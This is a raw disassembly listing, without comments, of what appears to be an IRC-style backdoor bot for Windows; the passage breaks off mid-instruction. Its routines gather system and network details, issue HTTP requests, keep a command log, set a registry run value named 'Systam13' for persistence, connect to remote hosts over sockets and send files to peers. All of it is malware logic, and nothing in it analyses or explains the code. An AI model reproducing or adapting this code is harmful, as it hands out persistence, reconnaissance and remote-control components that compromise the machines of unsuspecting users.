sub_416FB6 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax call dword_423068 ; GetSystemDirectoryA lea eax, [ebp+var_114] push 46h push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push ebx mov esi, 409h push ebx push esi call dword_42309C ; GetDateFormatA lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call dword_423098 ; GetTimeFormatA push 20h lea eax, [ebp+var_38] push ebx push eax call sub_417030 add esp, 0Ch lea eax, [ebp+var_38] push eax call dword_423148 ; GlobalMemoryStatus push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_418FB8 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_968] push eax call sub_40CF32 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_40B54D add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AD08 pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_40CE23 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_40CE23 pop ecx pop ecx push eax call sub_40B637 push edx push eax push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"... push 200h push [ebp+arg_0] call sub_41752A mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_40B6ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B9A1 proc near ; CODE XREF: sub_40EC43+450Ep ; sub_40EC43+59CEp var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_417030 add esp, 0Ch cmp dword_43EC08, 0 jnz short loc_40BA15 push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_43E9F4 ; InternetGetConnectedStateEx test eax, eax jnz short loc_40B9F6 lea eax, [ebp+var_8C] push offset dword_42D04C push eax call sub_416FB6 pop ecx pop ecx loc_40B9F6: ; CODE XREF: sub_40B9A1+40j test [ebp+var_C], 1 lea eax, [ebp+var_8] jz short loc_40BA0E push offset dword_42D044 loc_40BA04: ; CODE XREF: sub_40B9A1+72j push eax call sub_416FB6 pop ecx pop ecx jmp short loc_40BA34 ; --------------------------------------------------------------------------- loc_40BA0E: ; CODE XREF: sub_40B9A1+5Cj push offset dword_42D040 jmp short loc_40BA04 ; --------------------------------------------------------------------------- loc_40BA15: ; CODE XREF: sub_40B9A1+28j mov esi, offset off_42D03C lea eax, [ebp+var_8] push esi push eax call sub_416FB6 lea eax, [ebp+var_8C] push esi push eax call sub_416FB6 add esp, 10h loc_40BA34: ; CODE XREF: sub_40B9A1+6Bj push [ebp+arg_4] push [ebp+arg_8] call sub_40AD08 pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"... push 200h push [ebp+arg_0] call sub_41752A mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_40B9A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA67 proc near ; DATA XREF: sub_40EC43+4981o var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd xor esi, esi mov edi, 80h inc esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset asc_42D1A8 ; "*/*" call sub_417030 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_417030 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_417030 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_417030 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_417030 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_4177B0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_43EA2C ; InternetCrackUrlA test eax, eax jz loc_40BC07 cmp [ebp+var_34], ebx jbe short loc_40BB3E push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_418910 add esp, 0Ch loc_40BB3E: ; CODE XREF: sub_40BA67+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_40BB5C push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_418910 add esp, 0Ch loc_40BB5C: ; CODE XREF: sub_40BA67+DEj cmp [ebp+var_20], ebx jbe short loc_40BB76 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_418910 add esp, 0Ch loc_40BB76: ; CODE XREF: sub_40BA67+F8j cmp [ebp+var_18], ebx jbe short loc_40BB90 push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_418910 add esp, 0Ch loc_40BB90: ; CODE XREF: sub_40BA67+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_43EAD4 call dword_43EAF8 ; InternetConnectA mov esi, eax cmp esi, ebx jz short loc_40BC1D push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_43EAEC ; HttpOpenRequestA cmp eax, ebx mov [ebp+var_4], eax jz short loc_40BC24 push ebx push ebx push ebx push ebx push eax call dword_43EAA0 ; HttpSendRequestA test eax, eax lea eax, [ebp+var_55C] jz short loc_40BC00 push offset unk_42D174 jmp short loc_40BC2F ; --------------------------------------------------------------------------- loc_40BC00: ; CODE XREF: sub_40BA67+190j push offset unk_42D120 jmp short loc_40BC2F ; --------------------------------------------------------------------------- loc_40BC07: ; CODE XREF: sub_40BA67+B7j lea eax, [ebp+var_55C] push offset unk_42D0EC push eax call sub_416FB6 mov esi, [ebp+var_C] jmp short loc_40BC35 ; --------------------------------------------------------------------------- loc_40BC1D: ; CODE XREF: sub_40BA67+153j push offset unk_42D0A8 jmp short loc_40BC29 ; --------------------------------------------------------------------------- loc_40BC24: ; CODE XREF: sub_40BA67+17Bj push offset unk_42D060 loc_40BC29: ; CODE XREF: sub_40BA67+1BBj lea eax, [ebp+var_55C] loc_40BC2F: ; CODE XREF: sub_40BA67+197j ; sub_40BA67+19Ej push eax call sub_416FB6 loc_40BC35: ; CODE XREF: sub_40BA67+1B4j cmp [ebp+var_1D4], ebx pop ecx pop ecx jnz short loc_40BC62 push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_40D476 add esp, 14h loc_40BC62: ; CODE XREF: sub_40BA67+1D6j lea eax, [ebp+var_55C] push eax call sub_40BD8D pop ecx push esi call dword_43EB58 ; InternetCloseHandle push [ebp+var_4] call dword_43EB58 ; InternetCloseHandle push [ebp+var_1D8] call sub_416D90 pop ecx push ebx call dword_423054 ; ExitThread pop edi pop esi pop ebx sub_40BA67 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BC95 proc near ; CODE XREF: sub_40EC43+4447p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_4437E8 mov edi, 0B8h loc_40BCA9: ; CODE XREF: sub_40BC95+33j cmp byte ptr [esi], 0 jz short loc_40BCCC push [ebp+arg_0] push esi call sub_4173D0 pop ecx test eax, eax pop ecx jz short loc_40BCCC inc [ebp+var_4] add esi, edi cmp esi, offset dword_444368 jl short loc_40BCA9 jmp short loc_40BD0E ; --------------------------------------------------------------------------- loc_40BCCC: ; CODE XREF: sub_40BC95+17j ; sub_40BC95+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_4437E8[esi] push ebx call sub_417030 push 17h push [ebp+arg_0] push ebx call sub_418910 push 9Fh lea eax, dword_443800[esi] push [ebp+arg_4] push eax call sub_418910 add esp, 24h inc dword_4306F8 pop ebx loc_40BD0E: ; CODE XREF: sub_40BC95+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_40BC95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BD15 proc near ; CODE XREF: sub_40EC43+5B0Ep var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset aAliasList ; "-[Alias List]-" push [ebp+arg_4] push [ebp+arg_0] call sub_40D476 add esp, 14h xor edi, edi mov esi, offset dword_4437E8 loc_40BD3F: ; CODE XREF: sub_40BD15+72j cmp byte ptr [esi], 0 jz short loc_40BD7A lea eax, [esi+18h] push eax push esi push edi push offset aD_SS ; "%d. %s = %s" lea eax, [ebp+var_200] push 200h push eax call sub_41752A push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D476 add esp, 2Ch loc_40BD7A: ; CODE XREF: sub_40BD15+2Dj add esi, 0B8h inc edi cmp esi, offset dword_444368 jl short loc_40BD3F pop edi pop esi leave retn sub_40BD15 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BD8D proc near ; CODE XREF: sub_401000+97p ; sub_4010B2+32Cp ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call dword_42306C ; GetLocalTime mov ebx, offset dword_442EE0 mov edi, 80h mov esi, offset dword_43EEE0 loc_40BDAF: ; CODE XREF: sub_40BD8D+3Dj cmp byte ptr [ebx], 0 jz short loc_40BDC6 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_418910 add esp, 0Ch loc_40BDC6: ; CODE XREF: sub_40BD8D+25j sub ebx, edi cmp ebx, esi jge short loc_40BDAF movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41752A add esp, 28h pop edi pop esi pop ebx leave retn sub_40BD8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BE01 proc near ; CODE XREF: sub_407A23+148p ; sub_407BAA+15Cp ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_4190FF lea eax, [ebp+var_80] push eax call sub_40BD8D add esp, 14h leave retn sub_40BE01 endp ; =============== S U B R O U T I N E ======================================= sub_40BE2D proc near ; CODE XREF: sub_40EC43+5A06p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_43EEE0 xor ecx, ecx loc_40BE34: ; CODE XREF: sub_40BE2D+13j mov [eax], cl add eax, 80h cmp eax, offset dword_442EE0 jl short loc_40BE34 cmp [esp+arg_C], ecx jnz short loc_40BE62 push ecx push [esp+4+arg_8] push offset dword_42D21C push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_40D476 add esp, 14h loc_40BE62: ; CODE XREF: sub_40BE2D+19j push offset dword_42D1EC call sub_40BD8D pop ecx retn sub_40BE2D endp ; =============== S U B R O U T I N E ======================================= sub_40BE6E proc near ; CODE XREF: sub_402DB1+2AEp arg_0 = dword ptr 4 push esi mov esi, offset dword_43EEE0 loc_40BE74: ; CODE XREF: sub_40BE6E+27j cmp byte ptr [esi], 0 jz short loc_40BE89 push [esp+4+arg_0] push esi call sub_40A79F pop ecx test eax, eax pop ecx jnz short loc_40BE9B loc_40BE89: ; CODE XREF: sub_40BE6E+9j add esi, 80h cmp esi, offset dword_442EE0 jl short loc_40BE74 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40BE9B: ; CODE XREF: sub_40BE6E+19j xor eax, eax pop esi inc eax retn sub_40BE6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BEA0 proc near ; DATA XREF: sub_40EC43+5AB9o var_31C = byte ptr -31Ch var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 31Ch mov eax, [ebp+arg_0] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp+var_11C] xor edx, edx rep movsd xor edi, edi mov [ebp+var_8], 80h inc edi cmp [ebp+var_10], edx mov [ebp+var_4], edx mov [eax+110h], edi jnz short loc_40BEF3 push edx lea eax, [ebp+var_118] push [ebp+var_14] push offset dword_42D280 push eax push [ebp+var_11C] call sub_40D476 add esp, 14h loc_40BEF3: ; CODE XREF: sub_40BEA0+33j cmp [ebp+var_98], 0 jz short loc_40BF13 lea eax, [ebp+var_98] push eax call sub_41751F test eax, eax pop ecx mov [ebp+var_4], eax jz short loc_40BF13 mov [ebp+var_8], eax loc_40BF13: ; CODE XREF: sub_40BEA0+5Aj ; sub_40BEA0+6Ej and [ebp+arg_0], 0 mov esi, offset dword_43EEE0 loc_40BF1C: ; CODE XREF: sub_40BEA0+D4j mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jge short loc_40BF76 cmp byte ptr [esi], 0 jz short loc_40BF65 cmp [ebp+var_98], 0 jz short loc_40BF4B cmp [ebp+var_4], 0 jnz short loc_40BF4B lea eax, [ebp+var_98] push eax push esi call sub_40A79F pop ecx test eax, eax pop ecx jz short loc_40BF65 loc_40BF4B: ; CODE XREF: sub_40BEA0+90j ; sub_40BEA0+96j push edi lea eax, [ebp+var_118] push [ebp+var_14] push esi push eax push [ebp+var_11C] call sub_40D476 add esp, 14h loc_40BF65: ; CODE XREF: sub_40BEA0+87j ; sub_40BEA0+A9j inc [ebp+arg_0] add esi, 80h cmp esi, offset dword_442EE0 jl short loc_40BF1C loc_40BF76: ; CODE XREF: sub_40BEA0+82j lea eax, [ebp+var_31C] push offset unk_42D24C push eax call sub_416FB6 xor esi, esi pop ecx cmp [ebp+var_10], esi pop ecx jnz short loc_40BFB0 push esi lea eax, [ebp+var_31C] push [ebp+var_14] push eax lea eax, [ebp+var_118] push eax push [ebp+var_11C] call sub_40D476 add esp, 14h loc_40BFB0: ; CODE XREF: sub_40BEA0+EEj lea eax, [ebp+var_31C] push eax call sub_40BD8D push [ebp+var_18] call sub_416D90 pop ecx pop ecx push esi call dword_423054 ; ExitThread pop edi pop esi sub_40BEA0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFCF proc near ; CODE XREF: sub_40AA70+1Ep ; sub_40E48A+334p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi xor edi, edi xor esi, esi mov ebx, offset aSystam13 ; "Systam13" loc_40BFDF: ; CODE XREF: sub_40BFCF+6Aj lea eax, [ebp+var_4] push edi push eax push edi push 0F003Fh push edi push edi push edi push off_42D2B0[esi] push dword_42D2AC[esi] call dword_43EAD8 ; RegCreateKeyExA cmp [ebp+arg_0], edi jz short loc_40C020 push [ebp+arg_0] call sub_4177B0 pop ecx push eax push [ebp+arg_0] push 1 push edi push ebx push [ebp+var_4] call dword_43EB48 ; RegSetValueExA jmp short loc_40C02A ; --------------------------------------------------------------------------- loc_40C020: ; CODE XREF: sub_40BFCF+33j push ebx push [ebp+var_4] call dword_43EA90 ; RegDeleteValueA loc_40C02A: ; CODE XREF: sub_40BFCF+4Fj push [ebp+var_4] call dword_43EB00 ; RegCloseKey add esi, 8 cmp esi, 18h jb short loc_40BFDF pop edi pop esi pop ebx leave retn sub_40BFCF endp ; =============== S U B R O U T I N E ======================================= sub_40C040 proc near ; CODE XREF: sub_40C079+54p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] or esi, 0FFFFFFFFh test edi, edi jz short loc_40C072 mov ecx, 0FFh push ebx loc_40C057: ; CODE XREF: sub_40C040+2Fj mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_423290[eax*4] xor esi, eax inc edx dec edi jnz short loc_40C057 pop ebx loc_40C072: ; CODE XREF: sub_40C040+Fj mov eax, esi pop edi not eax pop esi retn sub_40C040 endp ; =============== S U B R O U T I N E ======================================= sub_40C079 proc near ; CODE XREF: sub_40C90D+23Fp var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_417889 mov [esp+10h+var_10], offset aRb ; "rb" push [esp+10h+arg_0] mov esi, eax call sub_4176A8 mov edi, eax pop ecx test edi, edi pop ecx jnz short loc_40C0C4 loc_40C09E: ; CODE XREF: sub_40C079+37j xor eax, eax jmp short loc_40C0E5 ; --------------------------------------------------------------------------- loc_40C0A2: ; CODE XREF: sub_40C079+4Fj inc ebx push ebx push esi call sub_41914F mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40C09E push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_418786 add esp, 10h loc_40C0C4: ; CODE XREF: sub_40C079+23j test byte ptr [edi+0Ch], 10h jz short loc_40C0A2 dec ebx push ebx push esi call sub_40C040 push esi mov ebx, eax call sub_41793B push edi call sub_417600 add esp, 10h mov eax, ebx loc_40C0E5: ; CODE XREF: sub_40C079+27j pop edi pop esi pop ebx retn sub_40C079 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C0E9 proc near ; CODE XREF: sub_40C16F+33p ; sub_40C6D2+BCp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_43EBA4 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_40C165 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_417030 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_43EB24 ; htons push [ebp+arg_0] mov [ebp+var_E], ax call dword_43EB64 ; inet_addr cmp eax, esi jnz short loc_40C14A push [ebp+arg_0] call dword_43EBA8 ; gethostbyname test eax, eax jz short loc_40C165 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_40C14A: ; CODE XREF: sub_40C0E9+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_43EACC ; connect cmp eax, esi jnz short loc_40C169 push edi call dword_43EBBC ; closesocket loc_40C165: ; CODE XREF: sub_40C0E9+1Bj ; sub_40C0E9+58j mov eax, esi jmp short loc_40C16B ; --------------------------------------------------------------------------- loc_40C169: ; CODE XREF: sub_40C0E9+73j mov eax, edi loc_40C16B: ; CODE XREF: sub_40C0E9+7Ej pop edi pop esi leave retn sub_40C0E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C16F proc near ; DATA XREF: sub_40EC43+A26o var_11B4 = byte ptr -11B4h var_1B4 = byte ptr -1B4h var_1AC = byte ptr -1ACh var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 11B4h call sub_417830 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1B4] rep movsd push [ebp+var_14] xor esi, esi inc esi mov [eax+1B0h], esi lea eax, [ebp+var_1AC] push eax call sub_40C0E9 mov ebx, eax pop ecx cmp ebx, 0FFFFFFFFh pop ecx jnz short loc_40C202 lea eax, [ebp+var_11B4] push offset dword_42D34C push eax call sub_416FB6 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_40C1E5 push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40D476 add esp, 14h loc_40C1E5: ; CODE XREF: sub_40C16F+59j lea eax, [ebp+var_11B4] push eax call sub_40BD8D push [ebp+var_10] call sub_416D90 pop ecx pop ecx push esi call dword_423054 ; ExitThread loc_40C202: ; CODE XREF: sub_40C16F+3Fj push offset byte_43BCE8 push ebx call sub_40B398 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_40C26D lea eax, [ebp+var_11B4] push offset dword_42D30C push eax call sub_416FB6 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_40C249 push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40D476 add esp, 14h loc_40C249: ; CODE XREF: sub_40C16F+BDj lea eax, [ebp+var_11B4] push eax call sub_40BD8D pop ecx push ebx call dword_43EBBC ; closesocket push [ebp+var_10] call sub_416D90 pop ecx push esi call dword_423054 ; ExitThread loc_40C26D: ; CODE XREF: sub_40C16F+A3j push 64h call dword_423064 ; Sleep xor edi, edi mov esi, 1000h loc_40C27C: ; CODE XREF: sub_40C16F+168j push esi lea eax, [ebp+var_11B4] push edi push eax call sub_417030 add esp, 0Ch lea eax, [ebp+var_11B4] push edi push esi push eax push ebx call dword_43EB3C ; recv test eax, eax jle short loc_40C2D9 lea eax, [ebp+var_11B4] push offset asc_4296D4 ; "\n" push eax call sub_4176D0 lea eax, [ebp+var_11B4] push eax call sub_40B184 add esp, 0Ch test eax, eax jz short loc_40C2D9 push 64h call dword_423064 ; Sleep push 7 call sub_416CBC test eax, eax pop ecx jnz short loc_40C27C loc_40C2D9: ; CODE XREF: sub_40C16F+130j ; sub_40C16F+154j lea eax, [ebp+var_11B4] push offset dword_42D2C8 push eax call sub_416FB6 cmp [ebp+var_8], edi pop ecx pop ecx jnz short loc_40C30C push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40D476 add esp, 14h loc_40C30C: ; CODE XREF: sub_40C16F+180j lea eax, [ebp+var_11B4] push eax call sub_40BD8D pop ecx push ebx call dword_43EBBC ; closesocket push [ebp+var_10] call sub_416D90 pop ecx push edi call dword_423054 ; ExitThread sub_40C16F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C330 proc near ; DATA XREF: sub_40EC43+4A8Bo var_A04 = byte ptr -0A04h var_604 = byte ptr -604h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_3FC = byte ptr -3FCh var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h var_1E0 = byte ptr -1E0h var_DC = byte ptr -0DCh var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_48 = byte ptr -48h var_44 = dword ptr -44h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1FC] rep movsd xor ebx, ebx xor esi, esi inc ebx push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp+var_10], esi mov [ebp+var_C], esi mov [ebp+var_20], esi call dword_43EBA4 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_18], edi jnz short loc_40C37E push offset dword_42D4D0 jmp loc_40C537 ; --------------------------------------------------------------------------- loc_40C37E: ; CODE XREF: sub_40C330+42j push 10h lea eax, [ebp+var_30] push esi push eax call sub_417030 add esp, 0Ch mov [ebp+var_30], 2 push esi call dword_43EB24 ; htons mov word ptr [ebp+var_2E], ax lea eax, [ebp+var_30] push 10h push eax push edi mov [ebp+var_2E+2], esi call dword_43EB50 ; bind test eax, eax jz short loc_40C3BC push offset dword_42D49C jmp loc_40C537 ; --------------------------------------------------------------------------- loc_40C3BC: ; CODE XREF: sub_40C330+80j lea eax, [ebp+var_1C] mov [ebp+var_1C], 10h push eax lea eax, [ebp+var_30] push eax push edi call dword_43EAC8 ; getsockname push [ebp+var_2E] call dword_43EA60 ; htons mov [ebp+var_4], eax lea eax, [ebp+var_1E0] push eax mov [ebp+arg_0], esi call sub_4177B0 pop ecx loc_40C3EE: ; CODE XREF: sub_40C330+EFj mov ecx, [ebp+arg_0] mov al, [ebp+ecx+var_1E0] cmp al, 20h jnz short loc_40C401 push 5Fh pop eax jmp short loc_40C404 ; --------------------------------------------------------------------------- loc_40C401: ; CODE XREF: sub_40C330+CAj movsx eax, al loc_40C404: ; CODE XREF: sub_40C330+CFj mov [ebp+ecx+var_604], al lea eax, [ebp+var_1E0] inc ecx push eax mov [ebp+arg_0], ecx call sub_4177B0 cmp [ebp+arg_0], eax pop ecx jbe short loc_40C3EE push ebx push edi call dword_43EB4C ; listen test eax, eax jz short loc_40C437 push offset dword_42D34C jmp loc_40C537 ; --------------------------------------------------------------------------- loc_40C437: ; CODE XREF: sub_40C330+FBj push esi push esi push 3 push esi push ebx lea eax, [ebp+var_1E0] push 80000000h push eax call dword_423084 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_40C461 push offset dword_42D46C jmp loc_40C537 ; --------------------------------------------------------------------------- loc_40C461: ; CODE XREF: sub_40C330+125j push esi push eax call dword_4230A4 ; GetFileSize mov [ebp+arg_0], eax push eax movzx eax, word ptr [ebp+var_4] push eax push [ebp+var_1FC] call sub_40AD08 pop ecx push eax call dword_43EB64 ; inet_addr push eax call dword_43EB20 ; htonl push eax lea eax, [ebp+var_1E0] push eax lea eax, [ebp+var_3FC] push offset dword_42D454 push eax call sub_416FB6 push esi lea eax, [ebp+var_3FC] push esi push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_40D476 add esp, 2Ch lea eax, [ebp+var_38] mov [ebp+var_38], 3Ch mov [ebp+var_34], esi push eax push esi lea eax, [ebp+var_500] push esi push eax push esi mov [ebp+var_4FC], edi mov [ebp+var_500], ebx call dword_43EB0C ; select test eax, eax jg short loc_40C511 push esi lea eax, [ebp+var_DC] push [ebp+var_54] push offset dword_42D42C push eax push [ebp+var_1FC] call sub_40D476 jmp loc_40C635 ; --------------------------------------------------------------------------- loc_40C511: ; CODE XREF: sub_40C330+1BFj lea eax, [ebp+var_14] mov [ebp+var_14], 10h push eax lea eax, [ebp+var_48] push eax push edi call dword_43EBB8 ; accept cmp eax, 0FFFFFFFFh mov [ebp+var_1F8], eax jnz short loc_40C54A push offset dword_42D3F8 loc_40C537: ; CODE XREF: sub_40C330+49j ; sub_40C330+87j ... lea eax, [ebp+var_3FC] push eax call sub_416FB6 pop ecx pop ecx jmp loc_40C638 ; --------------------------------------------------------------------------- loc_40C54A: ; CODE XREF: sub_40C330+200j push edi call dword_43EBBC ; closesocket cmp [ebp+arg_0], esi jz loc_40C5FC mov edi, 400h loc_40C55F: ; CODE XREF: sub_40C330+2C3j mov eax, [ebp+arg_0] mov [ebp+var_4], edi cmp eax, edi jge short loc_40C56C mov [ebp+var_4], eax loc_40C56C: ; CODE XREF: sub_40C330+237j push edi lea eax, [ebp+var_A04] push esi push eax call sub_417030 mov eax, [ebp+arg_0] add esp, 0Ch neg eax push 2 push esi push eax push [ebp+var_8] call dword_4230C0 ; SetFilePointer lea eax, [ebp+var_20] push esi push eax lea eax, 